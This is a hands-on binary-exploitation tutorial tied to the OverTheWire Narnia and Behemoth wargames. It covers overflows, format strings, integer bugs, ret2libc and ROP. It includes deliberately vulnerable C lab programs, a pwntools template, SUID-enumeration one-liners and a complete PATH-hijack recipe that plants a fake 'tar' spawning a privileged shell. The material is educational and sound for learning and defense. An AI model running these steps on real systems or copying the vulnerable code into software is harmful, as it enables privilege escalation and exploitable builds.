Binary Exploitation, Deep Dive: Techniques, Labs, Workflow, and Narnia + Behemoth Tie-ins
Binary Exploitation, Deep Dive
Binary exploitation turns memory/logic mistakes into reliable control of execution. This long-form tutorial is hands-on and pattern-driven: it teaches how to recognize bug classes, build primitives (leak/write), pick mitigation-aware strategies (ret2libc/ROP), and automate. We’ll cover buffer overflows (incl. off-by-one), integer overflows/truncation, format strings (%n
), SUID & environment pitfalls, a practical GDB/pwntools workflow, and a non-spoiler mapping to OverTheWire Narnia and Behemoth.
If you’re following my CTF series, start here: OverTheWire — Narnia (official) and Behemoth (official).
Table of Contents
- 1) Mindset & quick wins
- 2) ELF & loader essentials
- 3) Toolbelt & quick inspectors
- 4) Mitigations that steer your approach
- 5) Core bug classes
- 6) SUID, real vs effective UID & environment pitfalls
- 7) Watching the crash & building chains (GDB workflow)
- 8) ROP & ret2libc: tiny, reliable chains
- 9) From source → exploit: a production workflow
- 10) Automation with pwntools (local ↔ remote)
- 11) Narnia + Behemoth tie-ins (non-spoiler)
- Appendix A — One-liners & snippets
- Appendix B — Extended mini-labs (safe, local)
- Appendix C — Calling conventions quick notes
- Appendix D — Exploitation checklist (printable)
- Resource Library (Videos & Reading)
1) Mindset & quick wins
- Pattern → Hypothesis → Proof. Reduce issues to unbounded data, controllable formats, or unsafe arithmetic flowing into dangerous sinks.
- Minimal PoC first. Prove read/write/control with the smallest payload.
- Mitigation-aware. NX/ASLR/canaries/RELRO decide shellcode vs ret2libc vs ROP.
- Stability matters. Think TTY, environment, working dir, and cleanup.
Orientation video:
LiveOverflow — Channel intro (bin 0x00)
Further references:
- “Smashing The Stack For Fun And Profit” — Aleph One
- CWE-120: Buffer Copy without Checking Size • CWE-134: Externally Controlled Format String
2) ELF & loader essentials
- Sections vs Segments. Debuggers show sections (
.text
,.plt
,.got
), kernel maps segments (PT_LOAD). - PLT/GOT. Under Partial RELRO, GOT is writable early →
%n
→ GOT overwrite. Full RELRO makes GOT read-only; pivot to.fini_array
, data pointers, or go pure ROP. - PIE & bases. PIE randomizes code base; leak a code ptr or use info-leaks to compute offsets.
- RPATH/RUNPATH.
$ORIGIN
paths into writable dirs are dangerous; never ship SUID with writable RPATH.
Further references:
3) Toolbelt & quick inspectors
- Static:
file
,readelf -a
,objdump -d -M intel
,strings
,objdump -R
- Dynamic:
gdb
(+ pwndbg/gef),ltrace
,strace
- Mitigations:
checksec --file ./bin
- LOLBins: GTFOBins for SUID/sudo shell-escapes
Further references:
4) Mitigations that steer your approach
- NX/DEP: non-exec stack/heap → prefer ret2libc/ROP.
- ASLR: randomizes addresses; you need leaks or constraints.
- Canaries: stop contiguous stack overwrites; bypass with a leak or non-contiguous writes (off-by-one pivots).
- RELRO: Full = RO GOT; Partial = writable GOT early.
- FORTIFY: adds runtime checks; expect different crashes.
Further references:
5) Core bug classes
5.1 Buffer overflow / off-by-one
Tell-tales: unbounded APIs (gets
, strcpy
, sprintf
), loops without length checks, single-byte spills next to control metadata.
Exploit skeleton: find offset (pattern/cyclic) → NX off: shellcode; NX on: ret2libc/ROP. Off-by-one often pivots via saved frame/size fields.
Demo video:
Simple Buffer Overflow — step-by-step
Further references:
5.2 Integer overflow / truncation
Tell-tales: len=a+b; p=malloc(len); memcpy(p, src, user_len);
(wrap small, copy large), signed/unsigned mixups, narrowing casts.
Exploit skeleton: force wraparound or negative→huge casts → under-allocation + oversized copy (or logic bypass).
Further references:
5.3 Format string (%n
) — read/write memory
Tell-tales: printf(user)
, syslog(fmt, user)
param order bugs, unsafe fprintf(f, user)
.
Exploit skeleton: leak stack to find offset (e.g., %7$lx
) → place target addresses first → width-controlled writes with %hhn/%hn/%n
(byte/word/dword) → fixups for mod 256 math → aim at GOT/RET/data pointers depending on RELRO.
Further references:
- CWE-134: Externally Controlled Format String
- Scut — “Exploiting Format String Vulnerabilities” (classic)
6) SUID, real vs effective UID & environment pitfalls
SUID runs with effective UID (often root). Calling system("tar ...")
without absolute paths + attacker-controlled $PATH
⇒ PATH hijack. Many LOLBins (find
, vi
, less
, awk
, tar
, …) have shell escapes — hazardous under SUID/sudo.
Video (contextual):
PWN101 / TryHackMe — BOF intro (pairs well once you get a shell)
Further references:
7) Watching the crash & building chains (GDB workflow)
- Break at input reads, dangerous calls, and function
ret
. - Use pattern/cyclic to find offsets;
x/20gx $rsp
to inspect stack;info proc mappings
for base addresses. - For format strings: spray
%p
to map stack, then refine offset &%hhn
math. - For ret2libc: leak a libc symbol → compute base → call
system("/bin/sh")
with alignment.
Hands-on video:
CSAW CTF “BigBoy” — overflow to shell
Further references:
8) ROP & ret2libc: tiny, reliable chains
Sometimes you only need ret2libc:
- Leak
puts@GLIBC
(or any known libc symbol) to computelibc_base
. - Compute
system = libc_base + off(system)
and"/bin/sh"
address. - Stack layout:
ret → system → ret → "/bin/sh"
(add a loneret
for alignment on x86-64 if needed).
When ASLR + PIE + Full RELRO block GOT edits, go ROP:
- Find gadgets (
pop rdi; ret
,ret
for alignment) and callsystem("/bin/sh")
. - Keep stacks 16-byte aligned before
call
on x86-64. - Use “one_gadget” only when constraints are satisfied; otherwise classic ROP is more portable.
Deep-dive video:
Binary Exploitation Deep Dive — Return to LIBC (with Matt)
Further references:
9) From source → exploit: a production workflow
- Baseline:
file
,checksec
, quick skim of inputs (argv/stdin/env/file). - Threat sketch: overflow? format? integer? path/env?
- Mitigations: NX/PIE/canary/RELRO → pick shellcode vs ret2libc vs ROP.
- Crash control: pattern → confirm EIP/RIP reach; 16-byte stack alignment before calls on x86-64.
- Primitives: leaks (stack/libc) & write-what-where; find stable targets.
- Stabilize: TTY, minimal env, clear end conditions.
- Notes & fix: root cause, payload recipe, and remediation (safe APIs, bounds, fixed formats, absolute paths).
Further references:
10) Automation with pwntools (local ↔ remote)
- One script toggles between
process()
andremote(HOST,PORT)
. - Use
sendlineafter()/recvuntil()
guards and assertions. - Add
--dry-run
to print decisions without sending.
#!/usr/bin/env python3
from pwn import *
context.log_level = 'info'
exe = './vuln'
elf = context.binary = ELF(exe, checksec=False)
def start(argv=[]):
return remote(os.environ['HOST'], int(os.environ['PORT'])) if args.REMOTE else process([exe]+argv)
io = start()
# io.sendlineafter(b'name: ', payload)
io.interactive()
Further references:
11) Narnia + Behemoth tie-ins (non-spoiler)
- Narnia: purpose-built classic C exploitation with source — ideal for recognizing bug classes fast.
- Behemoth: reconstructed Linux/x86 challenges stressing overflow, race, and practical priv-esc instincts.
- Train with the mini-labs below, then apply the workflow on the SSH boxes.
Further references:
Appendix A — One-liners & snippets
Mitigations
checksec --file ./target
PLT/GOT peek
objdump -R ./target | head
objdump -d -M intel ./target | sed -n '/<.plt>:/,/<.text>:/p'
Format-string sweep (rough)
grep -R --line-number -E 'printf\(|syslog\(|fprintf\(' .
SUID inventory
find / -perm -4000 -type f -printf "%M %u %g %p\n" 2>/dev/null | sort
Writable PATH segments
echo "$PATH" | tr ':' '\n' | while read d; do [ -w "$d" ] && echo "writable: $d"; done
Pattern buffer
python3 - <<'PY'
from pwn import *
print(cyclic(400))
PY
Appendix B — Extended mini-labs (safe, local)
Lab safety: do these on your own VM. SUID/LD examples are for education only.
Lab B1 — Classic stack overflow (no mitigations)
// bof.c — demo only
#include <stdio.h>
#include <string.h>
void win(){ puts("WIN! control achieved"); }
void vuln(){ char buf[64]; puts("say something:"); gets(buf); }
int main(){ vuln(); }
gcc -fno-stack-protector -z execstack -no-pie -o bof bof.c
# 1) Crash → find offset; 2) NX off: shellcode; NX on: rebuild w/o execstack & go ret2libc
Lab B2 — Off-by-one via missing NUL
// oob.c
#include <stdio.h>
#include <string.h>
int main(){ char s[8]; char tag='X'; strncpy(s,"AAAAAAAAAA",sizeof(s)); printf("tag=%c\n",tag); }
Lab B3 — Integer overflow → under-allocation
// intwrap.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(){ unsigned a=0xFFFF0000,b=0x20000; size_t len=a+b; char *p=malloc(len);
char *in=malloc(1<<20); memset(in,'A',1<<20); memcpy(p,in,1<<20); }
Lab B4 — Format string read/write (%n
)
// fmt.c — demo only
#include <stdio.h>
int main(){ char buf[256]; fgets(buf,sizeof(buf),stdin); printf(buf); }
(echo '%p.%p.%p.%p'; sleep 1) | ./fmt
# Then place target addresses first; use %hhn/%hn with widths to write exact bytes.
Lab B5 — PATH hijack in a sloppy SUID helper
// suid_helper.c — DEMO ONLY
#include <stdlib.h>
int main(){ system("tar -cf /dev/null /etc/hosts"); return 0; } // no absolute path!
gcc suid_helper.c -o suid_helper
sudo chown root:root suid_helper && sudo chmod 4755 suid_helper
mkdir -p /tmp/p && printf '#!/bin/sh\n/bin/sh -p\n' > /tmp/p/tar; chmod +x /tmp/p/tar
export PATH="/tmp/p:$PATH"; ./suid_helper
Lab B6 — ret2libc end-to-end (no PIE, Partial RELRO)
// ret2libc.c — compile without PIE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
void vuln(){ char buf[128]; puts("name?"); read(0,buf,512); }
int main(){ setvbuf(stdout,NULL,_IONBF,0); vuln(); }
gcc -no-pie -fno-stack-protector -o ret2libc ret2libc.c
# 1) Leak puts@GLIBC via puts@plt(puts@got), return to main.
# 2) Compute libc base; 3) system("/bin/sh") with proper alignment.
Appendix C — Calling conventions quick notes
- System V AMD64 ABI: args in
rdi, rsi, rdx, rcx, r8, r9
; stack 16-byte aligned beforecall
. - i386 cdecl: args on stack (right→left), caller cleans; return in
eax
.
Further references:
Appendix D — Exploitation checklist (printable)
Binary Exploitation — Field Checklist
Phase | What to check | Why it matters | Tools |
---|---|---|---|
Baseline | file , ldd , strings , entrypoints |
Format, runtime deps, easy artifacts | file , ldd , strings |
Mitigations | NX/PIE/canary/RELRO | Strategy: shellcode vs ret2libc vs ROP | checksec , readelf |
Bug class | Overflow / off-by-one / integer / format | Narrows the search space | grep, code review |
Offset | Pattern → controlled crash | Proves reachability | pwntools cyclic, gdb |
Primitives | Leak & write-what-where | Steer control-flow | fmt, GOT, ROP |
Exploit | ret2libc/ROP; stack alignment | Reliable shell | ROPgadget, one_gadget |
Stability | TTY, env, reconnection | Usable shell & scripts | pty, pwntools |
Documentation | Root cause + fix | Teaches & prevents repeats | Writeups, diffs |
Tip: make the checklist muscle memory. Start every box with baseline → mitigations → bug class.
Resource Library (Videos & Reading)
Videos (curated)
- LiveOverflow — Channel Introduction (bin 0x00)
- Binary Exploit Development — Simple Buffer Overflow
- Binary Exploitation Deep Dive — Return to LIBC (with Matt)
- CSAW “BigBoy” Walkthrough
- Binary Exploitation Is THE Future Of Hacking
- PicoCTF 2022 #01 — WELCOME & Basic File Exploit
- Starting Binary Exploitation / Software Security
- Heap Binary Exploitation w/ Matt E!
Reading / Tools
- OverTheWire — Narnia
- OverTheWire — Behemoth
- Smashing The Stack For Fun And Profit (Aleph One)
- CWE-120: Buffer Copy without Checking Size • CWE-134: Externally Controlled Format String
- GTFOBins
- checksec
- pwndbg • GEF
- ROPgadget • one_gadget
- System V AMD64 psABI
- How2Heap
Final note
Use this as a playbook: enumerate mitigations, spot the bug class, prove a minimal primitive, then choose a mitigation-aware route (ret2libc/ROP) and stabilize. Pair the labs here with your Narnia/Behemoth runs to build real muscle memory.
Thanks for reading!
Until next time — Otsumachi!! 💖☄️✨